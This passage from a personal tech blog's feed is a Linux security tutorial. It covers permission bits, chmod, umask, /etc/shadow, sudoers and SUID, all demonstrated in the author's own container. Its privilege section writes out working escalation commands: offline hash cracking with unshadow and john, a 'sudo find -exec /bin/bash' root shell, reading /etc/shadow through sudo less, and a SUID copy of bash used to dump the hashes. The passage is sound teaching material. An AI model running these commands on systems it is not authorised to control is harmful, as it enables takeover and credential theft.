<h3 id="octal--the-number-behind-the-letters">Octal — the number behind the letters</h3>

<p>Typing <code class="language-plaintext highlighter-rouge">rw-r--r--</code> gets old, so each bit gets a value and you add them up per class:</p>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>r</strong></td>
      <td><strong>4</strong></td>
    </tr>
    <tr>
      <td><strong>w</strong></td>
      <td><strong>2</strong></td>
    </tr>
    <tr>
      <td><strong>x</strong></td>
      <td><strong>1</strong></td>
    </tr>
    <tr>
      <td>–</td>
      <td>0</td>
    </tr>
  </tbody>
</table>

<p>Add the bits in each triad to get one digit (0–7); three triads → three digits:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> rwx = 4+2+1 = 7      rw- = 4+2 = 6      r-x = 4+1 = 5
 r-- = 4     = 4      -wx = 2+1 = 3      --- = 0   = 0
</code></pre></div></div>

<p>So our file’s mode reads straight off:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> rw-   r--   ---
  6     4     0      →  640
</code></pre></div></div>

<p>The handful worth memorising — you’ll type these for the rest of your life:</p>

<table>
  <thead>
    <tr>
      <th>Octal</th>
      <th>Symbolic</th>
      <th>Typical use</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">644</code></td>
      <td><code class="language-plaintext highlighter-rouge">rw-r--r--</code></td>
      <td>normal file — owner edits, everyone reads</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">600</code></td>
      <td><code class="language-plaintext highlighter-rouge">rw-------</code></td>
      <td>private file — owner only</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">640</code></td>
      <td><code class="language-plaintext highlighter-rouge">rw-r-----</code></td>
      <td>owner edits, group reads, others locked out (← <code class="language-plaintext highlighter-rouge">secret.txt</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">755</code></td>
      <td><code class="language-plaintext highlighter-rouge">rwxr-xr-x</code></td>
      <td>scripts, programs, public directories</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">700</code></td>
      <td><code class="language-plaintext highlighter-rouge">rwx------</code></td>
      <td>private directory or private script</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>There’s an optional <strong>fourth digit</strong> in front (e.g. <code class="language-plaintext highlighter-rouge">4755</code>) for the SUID/SGID/sticky special bits — that’s §3’s territory. Ignore it until the basic three are reflex.</p>
</blockquote>

<h3 id="chmod--two-ways-to-set-the-bits"><code class="language-plaintext highlighter-rouge">chmod</code> — two ways to set the bits</h3>

<p><strong>Numeric</strong> sets <em>all nine bits at once</em> — absolute, overwrites whatever was there:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/tmp# chmod 640 secret.txt      # rw-r-----
root@7d69d3ea967a:/tmp# chmod 600 secret.txt      # rw-------  (lock the group out too)
root@7d69d3ea967a:/tmp# chmod 755 vault           # rwxr-xr-x
</code></pre></div></div>

<p><strong>Symbolic</strong> tweaks <em>specific</em> bits and leaves the rest alone — format is <code class="language-plaintext highlighter-rouge">who</code> <code class="language-plaintext highlighter-rouge">operator</code> <code class="language-plaintext highlighter-rouge">perms</code>:</p>

<ul>
  <li><strong>who:</strong> <code class="language-plaintext highlighter-rouge">u</code> owner · <code class="language-plaintext highlighter-rouge">g</code> group · <code class="language-plaintext highlighter-rouge">o</code> other · <code class="language-plaintext highlighter-rouge">a</code> all</li>
  <li><strong>operator:</strong> <code class="language-plaintext highlighter-rouge">+</code> add · <code class="language-plaintext highlighter-rouge">-</code> remove · <code class="language-plaintext highlighter-rouge">=</code> set exactly (clears the rest of that class)</li>
  <li><strong>perms:</strong> <code class="language-plaintext highlighter-rouge">r</code> <code class="language-plaintext highlighter-rouge">w</code> <code class="language-plaintext highlighter-rouge">x</code></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/tmp# chmod g+w secret.txt      # give the group write    → rw-rw----
root@7d69d3ea967a:/tmp# chmod o-r secret.txt      # remove others' read     (no-op here)
root@7d69d3ea967a:/tmp# chmod u=rw,go=r secret.txt# owner rw, group+other r → 644
root@7d69d3ea967a:/tmp# chmod +x build.sh         # make a script runnable for all
</code></pre></div></div>

<p>Rule of thumb: <strong>numeric when you know the final state</strong> (<code class="language-plaintext highlighter-rouge">chmod 640 file</code>), <strong>symbolic when you want to flip one bit</strong> without disturbing the others (<code class="language-plaintext highlighter-rouge">chmod +x script</code>). Add <code class="language-plaintext highlighter-rouge">-R</code> to recurse into a directory tree — but never blindly, or you’ll mark every data file executable.</p>

<p>Now hand the group <code class="language-plaintext highlighter-rouge">w</code> to alice and watch the earlier denial flip to success:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/tmp# chmod g+w secret.txt      # rw-rw----
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:/tmp$ echo "alice here" &gt;&gt; secret.txt
alice@4eb5a9565ad2:/tmp$ cat secret.txt
top secret
alice here
</code></pre></div></div>

<p>Same user, same file — one bit changed, and the permission boundary moved. That’s the entire lesson in one append.</p>

<h3 id="the-others-perspective--carol">The “others” perspective — carol</h3>

<p>alice tested the <em>group</em> class. To feel the <strong>other</strong> class, we need a user who is <em>not</em> in <code class="language-plaintext highlighter-rouge">devs</code>. Mint one as root:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/tmp# useradd -m -s /bin/bash carol
root@7d69d3ea967a:/tmp# passwd carol
New password:
Retype new password:
passwd: password updated successfully
root@7d69d3ea967a:/tmp# chmod 640 secret.txt      # put it back to rw-r-----
</code></pre></div></div>

<p>carol isn’t the owner and isn’t in <code class="language-plaintext highlighter-rouge">devs</code>, so the kernel drops her to the <strong>other</strong> triad — <code class="language-plaintext highlighter-rouge">---</code>, nothing:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/tmp# su - carol
carol@4eb5a9565ad2:~$ id
uid=1003(carol) gid=1003(carol) groups=1003(carol)
carol@4eb5a9565ad2:~$ cat /tmp/secret.txt
cat: /tmp/secret.txt: Permission denied
</code></pre></div></div>

<p>Same <code class="language-plaintext highlighter-rouge">640</code> file that alice could <em>read</em>, carol can’t even open — because the only difference between them is group membership, and that’s the difference between landing in the <code class="language-plaintext highlighter-rouge">r--</code> bucket and the <code class="language-plaintext highlighter-rouge">---</code> bucket. <strong>Mode and group membership decide everything together; neither alone tells you who gets in.</strong></p>

<h3 id="bonus-the-owner-always-controls-chmod">Bonus: the owner always controls <code class="language-plaintext highlighter-rouge">chmod</code></h3>

<p>One last surprise that matters for §3. The <code class="language-plaintext highlighter-rouge">rwx</code> bits gate the <em>contents</em> — they do <strong>not</strong> decide who may change the permissions. That power belongs to the <strong>owner</strong> (and root), always:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ touch mine &amp;&amp; chmod 000 mine   # strip every bit
alice@4eb5a9565ad2:~$ cat mine
cat: mine: Permission denied
alice@4eb5a9565ad2:~$ chmod 600 mine                  # ...still allowed!
alice@4eb5a9565ad2:~$ cat mine
alice@4eb5a9565ad2:~$
</code></pre></div></div>

<p>alice locked herself out of <em>reading</em> <code class="language-plaintext highlighter-rouge">mine</code>, yet <code class="language-plaintext highlighter-rouge">chmod</code> still worked — because she <strong>owns</strong> it. Ownership is a separate axis from <code class="language-plaintext highlighter-rouge">rwx</code>, and forgetting that is how people misjudge what an attacker can undo.</p>

<h3 id="where-644-comes-from-umask">Where <code class="language-plaintext highlighter-rouge">644</code> comes from: <code class="language-plaintext highlighter-rouge">umask</code></h3>

<p>Why did <code class="language-plaintext highlighter-rouge">touch mine</code> not start at <code class="language-plaintext highlighter-rouge">666</code>? New files are born from a base (<code class="language-plaintext highlighter-rouge">666</code> for files, <code class="language-plaintext highlighter-rouge">777</code> for directories) with the <strong>umask</strong> bits <em>subtracted</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ umask
0022
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>files:  666 - 022 = 644
dirs:   777 - 022 = 755
</code></pre></div></div>

<p>So the default <code class="language-plaintext highlighter-rouge">022</code> mask is exactly why fresh files land at <code class="language-plaintext highlighter-rouge">644</code> and fresh directories at <code class="language-plaintext highlighter-rouge">755</code>. Set <code class="language-plaintext highlighter-rouge">umask 077</code> and everything you create is private by default (<code class="language-plaintext highlighter-rouge">600</code> / <code class="language-plaintext highlighter-rouge">700</code>) — a one-line hardening trick worth knowing.</p>

<p>That’s the permission model end to end: a class the kernel picks (owner → group → other), three bits whose meaning flips between files and directories, the octal shorthand, and <code class="language-plaintext highlighter-rouge">chmod</code>/<code class="language-plaintext highlighter-rouge">umask</code> to set it all. Next, the part attackers actually chase — crossing from a normal user up to root.</p>

<hr />

<h2 id="3-privilege--etcshadow-sudo--suid">3. Privilege — <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, sudo &amp; SUID</h2>

<p>A normal user can’t do much damage — that’s the point. <em>Privilege escalation</em> is the craft of crossing from an ordinary account up to <code class="language-plaintext highlighter-rouge">uid=0</code>, and there are three doors: the password hashes in <strong><code class="language-plaintext highlighter-rouge">/etc/shadow</code></strong>, <strong>sudo</strong> (the sanctioned door), and <strong>SUID binaries</strong> (programs that run as their owner). We start with <em>where the secrets live</em>, then the door that’s <em>supposed</em> to be there — and how one careless entry turns it into a full compromise.</p>

<h3 id="etcshadow--where-passwords-actually-live"><code class="language-plaintext highlighter-rouge">/etc/shadow</code> — where passwords actually live</h3>

<p>Recall from §1 that <code class="language-plaintext highlighter-rouge">/etc/passwd</code> carries an <code class="language-plaintext highlighter-rouge">x</code> in the password field. That <code class="language-plaintext highlighter-rouge">x</code> means <em>“the real secret is in <code class="language-plaintext highlighter-rouge">/etc/shadow</code>.”</em> The split exists for exactly one reason: <code class="language-plaintext highlighter-rouge">/etc/passwd</code> is world-readable (everyone needs it to map UIDs ↔ names), but password hashes must <strong>not</strong> be. So the hashes were moved to <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, readable only by root:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:~# ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root   ... /etc/passwd      ← anyone can read
-rw-r----- 1 root shadow ... /etc/shadow      ← root (and group shadow) only
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">640 root:shadow</code> is itself a permissions lesson — the very mode you decoded in §2 is what guards the most sensitive data on the box. (Hold that thought: in the sudo section below, <code class="language-plaintext highlighter-rouge">sudo less /etc/shadow</code> turns out to be a real escalation — alice borrows root’s read of <em>exactly this file</em>.)</p>

<p><strong>Anatomy of a shadow line.</strong> Nine colon-separated fields; the first two are the ones you read constantly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice : $6$xyz...$abc... : 19876 : 0 : 99999 : 7 : : :
  │            │             │     │    │      │
  │            │             │     │    │      └ warn days before expiry
  │            │             │     │    └─────── max days password is valid
  │            │             │     └──────────── min days between changes
  │            │             └────────────────── last change (days since 1970)
  │            └──────────────────────────────── the password HASH
  └───────────────────────────────────────────── username
</code></pre></div></div>

<p>Field 2 — the hash — is the prize. Read its <code class="language-plaintext highlighter-rouge">$id$salt$hash</code> structure, where <code class="language-plaintext highlighter-rouge">$id$</code> names the algorithm:</p>

<table>
  <thead>
    <tr>
      <th><code class="language-plaintext highlighter-rouge">$id$</code></th>
      <th>Algorithm</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">$1$</code></td>
      <td>MD5 (ancient, broken)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">$5$</code></td>
      <td>SHA-256</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">$6$</code></td>
      <td>SHA-512 (the common modern default)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">$y$</code></td>
      <td>yescrypt (newer Debian/Ubuntu default)</td>
    </tr>
  </tbody>
</table>

<p>A few special values in field 2 you must recognise on sight:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">*</code> or <code class="language-plaintext highlighter-rouge">!</code></strong> → no valid password; password login is locked (typical for service accounts).</li>
  <li><strong>empty</strong> → <em>no password at all</em> — anyone can become this user. Dangerous.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">!</code> prefixed on a hash</strong> (<code class="language-plaintext highlighter-rouge">!$6$...</code>) → account locked, but the hash is still sitting there.</li>
</ul>

<p><strong>Why it matters.</strong> The hash isn’t the password — it’s a one-way function of it. You can’t reverse it, but you <em>can</em> guess: hash a candidate with the same salt and compare. That’s exactly what John the Ripper and hashcat do, and the CTF workflow is two commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># merge passwd + shadow into John's format, then crack</span>
unshadow /etc/passwd /etc/shadow <span class="o">&gt;</span> hashes.txt
john hashes.txt                  <span class="c"># or: hashcat -m 1800 hashes.txt wordlist</span>
</code></pre></div></div>

<p>The whole point of <code class="language-plaintext highlighter-rouge">/etc/shadow</code> being root-only is that <strong>once an attacker can read it, the game is nearly over</strong> — they crack offline, at leisure, with no lockouts. So <em>“can I read <code class="language-plaintext highlighter-rouge">/etc/shadow</code>?”</em> is a top-priority check the moment you have any foothold — and as the next section shows, you don’t always need to <em>be</em> root to do it.</p>

<h3 id="sudo--the-sanctioned-door-upward"><code class="language-plaintext highlighter-rouge">sudo</code> — the sanctioned door upward</h3>

<p><code class="language-plaintext highlighter-rouge">sudo</code> (“superuser do”) lets a <em>permitted</em> user run one command as root, after proving <strong>their own</strong> password. It’s the controlled alternative to sharing the root password or living in <code class="language-plaintext highlighter-rouge">su</code>.</p>

<p>By default alice has no sudo rights at all — and the first thing to run on any account, <code class="language-plaintext highlighter-rouge">sudo -l</code>, says exactly that:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ sudo -l
[sudo] password for alice:
Sorry, user alice may not run sudo on 4eb5a9565ad2.
</code></pre></div></div>

<p>Note the prompt is for <strong>her</strong> password, not root’s — three wrong tries and sudo locks her out (<code class="language-plaintext highlighter-rouge">1 incorrect password attempt</code>). She typed it correctly and was <em>still</em> refused: she simply isn’t in the policy yet.</p>

<h3 id="the-policy-lives-in-etcsudoers">The policy lives in <code class="language-plaintext highlighter-rouge">/etc/sudoers</code></h3>

<p>Who may run what is defined in <code class="language-plaintext highlighter-rouge">/etc/sudoers</code>. <strong>Edit it only with <code class="language-plaintext highlighter-rouge">visudo</code></strong> — it syntax-checks before saving, so a typo can’t brick everyone’s path to root. The modern style is a drop-in file under <code class="language-plaintext highlighter-rouge">/etc/sudoers.d/</code>. As root, grant alice exactly <em>one</em> command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:~# echo 'alice ALL=(root) NOPASSWD: /usr/bin/find' &gt; /etc/sudoers.d/alice
root@4eb5a9565ad2:~# chmod 440 /etc/sudoers.d/alice
root@4eb5a9565ad2:~# visudo -c
/etc/sudoers: parsed OK
/etc/sudoers.d/alice: parsed OK
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">chmod 440</code> (root-only read) isn’t optional — sudo <strong>ignores</strong> any sudoers file that’s group- or world-writable, as a self-protection check. <code class="language-plaintext highlighter-rouge">visudo -c</code> validates every file without opening an editor. Read the policy line field by field:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> alice   ALL = (root)   NOPASSWD: /usr/bin/find
   │      │      │          │           └─ which commands  (here: find only)
   │      │      │          └───────────── no password required to run them
   │      │      └──────────────────────── as which user   (may run AS root)
   │      └─────────────────────────────── on which hosts  (ALL)
   └────────────────────────────────────── the user        (%group for a group)
</code></pre></div></div>

<p>(<code class="language-plaintext highlighter-rouge">%sudo ALL=(ALL:ALL) ALL</code> in the main file is why “add the user to the <code class="language-plaintext highlighter-rouge">sudo</code> group” works on Ubuntu — membership in <code class="language-plaintext highlighter-rouge">sudo</code> grants that blanket policy.)</p>

<p>Two things make sudo safer than <code class="language-plaintext highlighter-rouge">su</code>: alice proves <strong>her own</strong> password (root’s is never shared), and <strong>every call is logged</strong> to <code class="language-plaintext highlighter-rouge">/var/log/auth.log</code> — accountability that <code class="language-plaintext highlighter-rouge">su</code> to root never gives you.</p>

<h3 id="sudo--l--the-single-most-important-recon-command"><code class="language-plaintext highlighter-rouge">sudo -l</code> — the single most important recon command</h3>

<p>Now from alice’s shell, <code class="language-plaintext highlighter-rouge">sudo -l</code> tells her <em>precisely</em> what she may run — without executing anything:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ sudo -l
Matching Defaults entries for alice on 4eb5a9565ad2:
    env_reset, mail_badpass, secure_path=..., use_pty

User alice may run the following commands on 4eb5a9565ad2:
    (root) NOPASSWD: /usr/bin/find
</code></pre></div></div>

<p>On a target, this is step one of privilege-escalation enumeration. <code class="language-plaintext highlighter-rouge">NOPASSWD</code> means sudo won’t even ask — and this is the line you <em>pray</em> to see, because of what <code class="language-plaintext highlighter-rouge">find</code> can do.</p>

<h3 id="why-one-allowed-binary--full-root">Why one allowed binary = full root</h3>

<p><code class="language-plaintext highlighter-rouge">find</code> — like <code class="language-plaintext highlighter-rouge">less</code>, <code class="language-plaintext highlighter-rouge">vim</code>, <code class="language-plaintext highlighter-rouge">awk</code>, <code class="language-plaintext highlighter-rouge">python</code> — can spawn a shell <em>from inside itself</em>. So “alice may run <code class="language-plaintext highlighter-rouge">find</code> as root with no password” really means <strong>alice is root</strong>; she just has to ask <code class="language-plaintext highlighter-rouge">find</code> to launch a shell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ sudo find . -exec /bin/bash \; -quit
root@4eb5a9565ad2:/home/alice#
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-exec /bin/bash \;</code> tells <code class="language-plaintext highlighter-rouge">find</code> to run a shell on the first entry it hits; <code class="language-plaintext highlighter-rouge">-quit</code> stops after one. Because <code class="language-plaintext highlighter-rouge">find</code> is running as root, the shell it spawns is a <strong>root</strong> shell — watch the prompt flip from <code class="language-plaintext highlighter-rouge">alice@…$</code> to <code class="language-plaintext highlighter-rouge">root@…#</code> (that <code class="language-plaintext highlighter-rouge">#</code> is <code class="language-plaintext highlighter-rouge">uid=0</code>). One harmless-looking entry in <code class="language-plaintext highlighter-rouge">sudoers</code> and the box is fully compromised.</p>

<p>That class of trick — a legitimately-allowed program coaxed into a root shell — is catalogued at <strong><a href="https://gtfobins.github.io/">GTFOBins</a></strong>. It’s the first place to look up any binary you find in <code class="language-plaintext highlighter-rouge">sudo -l</code>.</p>

<h3 id="it-doesnt-even-need-a-shell-sudo-less-etcshadow">It doesn’t even need a shell: <code class="language-plaintext highlighter-rouge">sudo less /etc/shadow</code></h3>

<p>Spawning a shell is the <em>loud</em> option. Often you don’t need one — the allowed binary can read the prize directly. Grant alice <code class="language-plaintext highlighter-rouge">less</code> as well (note: <code class="language-plaintext highlighter-rouge">visudo</code> would reject a stray space like <code class="language-plaintext highlighter-rouge">less ,</code> — keep the list clean):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:~# echo 'alice ALL=(root) NOPASSWD: /usr/bin/less, /usr/bin/find' &gt; /etc/sudoers.d/alice
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ sudo -l
...
    (root) NOPASSWD: /usr/bin/less, /usr/bin/find
alice@4eb5a9565ad2:~$ sudo less /etc/shadow
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">less</code> runs as root, so it cheerfully opens the root-only <code class="language-plaintext highlighter-rouge">/etc/shadow</code> — the very file of password hashes you dissected at the top of this section. alice never <em>became</em> root, yet she’s reading root’s most sensitive file. <strong>The lesson: sudo rights on the wrong binary are a full compromise, even when the binary looks harmless.</strong></p>

<h3 id="suid--sgid--sticky--the-special-bits">SUID / SGID / sticky — the special bits</h3>

<p>This is the <strong>fourth octal digit</strong> you’ve been ignoring since §2. Beyond the nine <code class="language-plaintext highlighter-rouge">rwx</code> bits, a file carries three <em>special</em> bits, written as a leading digit — <code class="language-plaintext highlighter-rouge">chmod 4755 file</code>:</p>

<table>
  <thead>
    <tr>
      <th>Bit</th>
      <th>Octal</th>
      <th>Shows up in <code class="language-plaintext highlighter-rouge">ls</code> as</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>SUID</strong></td>
      <td><code class="language-plaintext highlighter-rouge">4</code></td>
      <td><code class="language-plaintext highlighter-rouge">s</code> in the owner-<code class="language-plaintext highlighter-rouge">x</code> slot (<code class="language-plaintext highlighter-rouge">-rwsr-xr-x</code>)</td>
      <td>runs with the <strong>file owner’s</strong> identity</td>
    </tr>
    <tr>
      <td><strong>SGID</strong></td>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td><code class="language-plaintext highlighter-rouge">s</code> in the group-<code class="language-plaintext highlighter-rouge">x</code> slot (<code class="language-plaintext highlighter-rouge">-rwxr-sr-x</code>)</td>
      <td>runs with the file’s <strong>group</strong>; on a directory, new files inherit that group</td>
    </tr>
    <tr>
      <td><strong>sticky</strong></td>
      <td><code class="language-plaintext highlighter-rouge">1</code></td>
      <td><code class="language-plaintext highlighter-rouge">t</code> in the other-<code class="language-plaintext highlighter-rouge">x</code> slot (<code class="language-plaintext highlighter-rouge">drwxrwxrwt</code>)</td>
      <td>on a directory, only a file’s <strong>owner</strong> can delete it</td>
    </tr>
  </tbody>
</table>

<h3 id="suid--the-big-one">SUID — the big one</h3>

<p>Normally a program runs with <em>your</em> privileges. A <strong>SUID</strong> binary runs with the privileges of whoever <strong>owns the file</strong>. The textbook example is <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:~$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root ... /usr/bin/passwd
        ↑
       SUID bit (the 's')
</code></pre></div></div>

<p>Why does it need this? <code class="language-plaintext highlighter-rouge">passwd</code> must write to <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, which is root-only (you just saw that mode). alice can’t write that file — but <code class="language-plaintext highlighter-rouge">passwd</code> is <em>owned by root</em> and <em>SUID</em>, so when alice runs it the process becomes root for the duration, writes her new hash, and exits. SUID is how unprivileged users perform tightly-scoped privileged actions safely.</p>

<h3 id="see-all-three-bits-yourself-in-tmp-as-root">See all three bits yourself (in <code class="language-plaintext highlighter-rouge">/tmp</code>, as root)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:/tmp# touch demo &amp;&amp; chmod 4755 demo &amp;&amp; ls -l demo
-rwsr-xr-x 1 root root 0 Jun 12 06:15 demo        # SUID → 's' in owner slot

root@4eb5a9565ad2:/tmp# mkdir share &amp;&amp; chmod 1777 share &amp;&amp; ls -ld share
drwxrwxrwt 2 root root 4096 Jun 12 06:16 share    # sticky → 't' in other slot
</code></pre></div></div>

<p>The sticky bit on <code class="language-plaintext highlighter-rouge">share</code> is exactly why <code class="language-plaintext highlighter-rouge">/tmp</code> itself is world-writable yet alice still can’t delete carol’s files there — the protection §2 hinted at when it said directory <code class="language-plaintext highlighter-rouge">w</code> normally lets you delete <em>anyone’s</em> entries. <code class="language-plaintext highlighter-rouge">t</code> revokes that for everyone but the owner.</p>

<p>One gotcha to recognise on sight — <strong>capital <code class="language-plaintext highlighter-rouge">S</code></strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:/tmp# touch nox &amp;&amp; chmod 4644 nox &amp;&amp; ls -l nox
-rwSr--r-- 1 root root 0 Jun 12 06:17 nox
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">S</code> (capital) means the SUID bit is set <strong>but the owner has no <code class="language-plaintext highlighter-rouge">x</code></strong>. Since SUID only matters when the file is <em>executed</em>, a non-executable SUID file does nothing — it’s almost always a misconfiguration. Lowercase <code class="language-plaintext highlighter-rouge">s</code> = SUID <strong>and</strong> executable (live); uppercase <code class="language-plaintext highlighter-rouge">S</code> = SUID without execute (inert). Same rule for <code class="language-plaintext highlighter-rouge">t</code>/<code class="language-plaintext highlighter-rouge">T</code> on the sticky bit.</p>

<h3 id="why-suid-is-an-attackers-favourite">Why SUID is an attacker’s favourite</h3>

<p>A SUID-root binary runs as root, so <em>any</em> bug in it — or any way to make it run code of your choosing — hands you root. The canonical privesc step is therefore “list every SUID binary and check it against <a href="https://gtfobins.github.io/">GTFOBins</a>”:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:/tmp# find / -perm -4000 -type f 2&gt;/dev/null
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
... and our two plants:
/tmp/demo
/tmp/nox
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-perm -4000</code> means “has the SUID bit set.” If <code class="language-plaintext highlighter-rouge">find</code>, <code class="language-plaintext highlighter-rouge">nmap</code>, <code class="language-plaintext highlighter-rouge">vim</code>, or <code class="language-plaintext highlighter-rouge">python</code> shows up SUID-root, each has a known one-liner to a root shell. Here’s the classic blunder in full — copy a shell, make it SUID-root, and any user owns the box:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@4eb5a9565ad2:/tmp# cp /bin/bash /tmp/rootbash &amp;&amp; chmod 4755 /tmp/rootbash
root@4eb5a9565ad2:/tmp# ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1446024 Jun 12 06:19 /tmp/rootbash
</code></pre></div></div>

<p>Now switch to alice and run it with <code class="language-plaintext highlighter-rouge">-p</code> (bash drops SUID privileges by default; <code class="language-plaintext highlighter-rouge">-p</code> <em>keeps</em> them):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:/tmp$ /tmp/rootbash -p
rootbash-5.2# id
uid=1001(alice) gid=1002(alice) euid=0(root) groups=1002(alice),1001(devs)
</code></pre></div></div>

<p>Read that <code class="language-plaintext highlighter-rouge">id</code> carefully: her real <code class="language-plaintext highlighter-rouge">uid</code> is still <strong>1001(alice)</strong>, but her <strong><code class="language-plaintext highlighter-rouge">euid=0(root)</code></strong> — the <em>effective</em> UID the kernel checks for permissions is root. That split (real vs. effective UID) <em>is</em> SUID. And with it she walks straight to the prize from the shadow section:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rootbash-5.2# cat /etc/shadow
root:$y$j9T$Z4aLw3Ees...$pKSmYW55rby0yS7t5zSB...:20616:0:99999:7:::
daemon:*:20582:0:99999:7:::
...
alice:$y$j9T$s4Hcg6wK...$DXuHHEEPLstat0ANyiCcrX...:20615:0:99999:7:::
bob:!:20615:0:99999:7:::
carol:!:20615:0:99999:7:::
</code></pre></div></div>

<p>Everything from that subsection reads off in one screen: root and alice carry live <strong><code class="language-plaintext highlighter-rouge">$y$</code></strong> (yescrypt) hashes; the service accounts are <strong><code class="language-plaintext highlighter-rouge">*</code></strong> (no password); bob and carol are <strong><code class="language-plaintext highlighter-rouge">!</code></strong> (locked). alice is now holding every hash on the box to crack offline — from a binary that was just a copy of <code class="language-plaintext highlighter-rouge">bash</code> with one bit flipped.</p>

<p>The mirror lesson to §2’s “ownership is a separate axis”: here it’s <strong>identity is a separate axis from the file</strong>. One SUID-root binary you don’t control is the whole game — which is why <code class="language-plaintext highlighter-rouge">find / -perm -4000</code> is muscle memory for anyone doing privesc.</p>

<hr />

<p><em>And that’s the model end to end — <strong>who</strong> you are (<code class="language-plaintext highlighter-rouge">uid</code>/<code class="language-plaintext highlighter-rouge">gid</code>), <strong>what</strong> the <code class="language-plaintext highlighter-rouge">rwx</code> bits allow, and the three ways privilege is <strong>crossed</strong> (<code class="language-plaintext highlighter-rouge">sudo</code>, <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, SUID). Never read a section without running it; you just watched one bit turn alice into root.</em></p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[Everything in Linux security starts with one question the kernel asks on every single action: who are you, and are you allowed? Three pieces answer it — who (users and groups), what they can do (the rwx permission bits), and how you cross the line to root (privilege). This post walks the first piece end to end inside my RE/Linux container, where I’m root and can safely create throwaway users to see permissions from the other side.]]></summary></entry><entry><title type="html">Running a Linux ELF on my Mac with Docker — and cracking SpookyPass with one command</title><link href="https://dilipgona.is-a.dev/docker-ubuntu-mac-run-linux-elf-spookypass.html" rel="alternate" type="text/html" title="Running a Linux ELF on my Mac with Docker — and cracking SpookyPass with one command" 